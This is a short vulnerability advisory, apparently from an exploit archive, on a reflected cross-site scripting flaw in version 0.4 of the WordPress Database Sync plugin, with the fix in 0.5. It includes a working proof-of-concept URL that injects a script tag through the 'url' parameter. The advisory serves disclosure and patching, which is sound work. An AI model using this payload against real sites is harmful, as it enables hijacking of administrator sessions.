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WordPress Database Sync 0.4 Cross Site Scripting

WordPress Database Sync 0.4 Cross Site Scripting
Posted Jul 30, 2015
Authored by Morten Nortoft, Kenneth Jepsen, Mikkel Vej

WordPress Database Sync plugin version 0.4 suffers from a cross site scripting vulnerability.

tags | exploit, xss
MD5 | 3785c3db46816d2f423bbe16cfc5d47f

WordPress Database Sync 0.4 Cross Site Scripting

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Title: WordPress 'Database Sync' Plugin 
Version: 0.4
Author: Morten Nørtoft, Kenneth Jepsen & Mikkel Vej
Download:
- https://wordpress.org/plugins/database-sync/
- https://plugins.svn.wordpress.org/database-sync/
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## Plugin description
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Sync databases across servers with a single click.

## Vulnerabilities
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The GET parameter 'url' is printed directly to the page without sanitization making XSS possible.

PoC:
Log in as admin and visit the following URL:
[URL]/wp-admin/tools.php?page=dbs_options&dbs_action=sync&url="><script>alert(1)</script>


## Solution
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Update to v.0.5.

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Vulnerabilities found using Eir; an early stage static vulnerability scanner for PHP applications.

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